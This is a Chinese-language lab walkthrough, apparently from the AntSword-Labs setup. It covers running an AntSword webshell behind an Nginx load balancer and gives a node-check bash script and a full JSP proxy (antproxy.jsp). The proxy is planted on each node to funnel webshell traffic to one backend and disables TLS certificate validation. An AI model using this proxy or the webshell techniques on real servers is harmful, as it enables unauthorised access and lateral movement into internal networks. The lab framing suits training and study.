一、Nginx负载均衡下的webshell连接
1.环境搭建以及webshell连接
这里使用docker搭建环境,解压进入/root/AntSword-Labs-master/loadbalance/loadbalance-jsp目录,直接docker-compose up -d
链接:https://pan.baidu.com/s/1jP9uWlrn0PwTGrnqQ-uZrw?pwd=3pza
提取码:3pza
然后蚁剑直接连接
因为两台服务器都有ant.jsp,所以连接不会出现问题
成功后进入终端,可以看到每次我们执行hostname -i命令都会输出不一样的结果,那是因为Nginx负载均衡代理飘忽不定,一会儿代理到node1,一会儿代理到node2
那这个时候就出现问题了
2.出现的问题
1.我们在执行命令时,无法知道下次的请求交给哪台机器去执行,也就是上图所展示的那样。
2.我们在上传工具时,由于工具可能较大,会被分片传输,那我们怎么知道这些数据包一定会上传 到同一台服务器呢,也就是说你的工具可能会被分成两半,一半在一台服务器上,而另一半在另 一台服务器上
比如,我这里上传的是1M的文件,但当你刷新时,文件被分成两半了
3.由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可 在这个场景下,这些 tunnel 脚本全部都失灵了。
由于这一块的内容我还没学习到,所以就简单说说
当我们拿下目标服务器之后,由于目标服务器不出网,想要到内网只能将目标服务器作为代理,建立一个隧道,给我们代理到内网去,但是由于Nginx负载均衡,数据传输到一半可能又会被转到另一台服务器上去
那这些问题怎么解决呢?
3.解决方案
1.关掉其中多余的服务器
这个方案理论上来说确实可行,关掉多余的服务器,只保留一台服务器,Nginx检测不到心跳包,自然会将其他服务器视为宕掉,那就不会有问题了
但是这个方案在真实环境中就是在作死,关掉服务器是很严重的安全事故,所以直接pass
实验环境下如果权限够可以试一试
2.利用shell脚本在执行命令前判断要不要执行
shell脚本如下
#!/bin/bash
MYIP=`hostname -i`
if [ $MYIP == "172.23.0.2" ];then
echo "Node1. I will exec command.\n=========\n"
hostname -i
else
echo "Other. Try again."
fi
由于内容少,文件体积小,可以直接通过蚁剑上传, 不会被分片传输
可以看到如果ip地址为172.23.0.3,那就不会执行命令,返回Try again
反之如果ip地址为172.23.0.4,那就执行命令,输出hostname -i结果
然而这种方法只解决了第一个问题------不知道哪台服务器会执行我们的命令
但是最重要的第二、第三个问题没有解决,我们依然无法上传我们的工具,无法确定数据包的走向
3.利用多余的服务器做一次web层面的流量转发
在这里我们可以把发给172.23.0.3的流量数据包发给我们想要的服务器上,也就是172.23.0.2,因为这两台web服务器是可以互相访问的
在每一台服务器上都传入这样一个脚本,让流量都转发到一台服务器上,注意ip修改成自己想要的服务器ip
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.23.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder();
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024];
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
然后这时候不要直接用蚁剑传入,因为数据量大,可能会被分片
我们最好新建一个名为antproxy.jsp的文件,多新建几次,因为可能其他服务器没有新建成功,多刷新几次
然后复制我们的脚本,多保存几次,刷新
直到都为3.22kb为止
这时候我们再编辑连接,改为antproxy.jsp
这个时候会有一个问题就是明明脚本里面没有连接密码,那怎么会填入密码ant呢?
是因为这个脚本最终转发还是转发在了ant.jsp上,可以看上面的具体ip,而ant.jsp密码就是ant
连接成功后我们进入命令行
可以看到并没有出现之前的情况了,IP地址一直为172.23.0.2,不会再出现飘忽不定的现象了